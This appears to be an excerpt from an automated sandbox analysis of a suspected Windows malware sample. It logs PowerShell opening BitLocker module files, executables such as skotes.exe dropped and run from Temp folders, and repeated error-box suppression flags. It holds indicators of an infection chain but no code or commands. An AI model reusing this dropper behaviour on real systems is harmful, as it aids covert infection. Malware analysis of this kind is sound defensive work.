Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
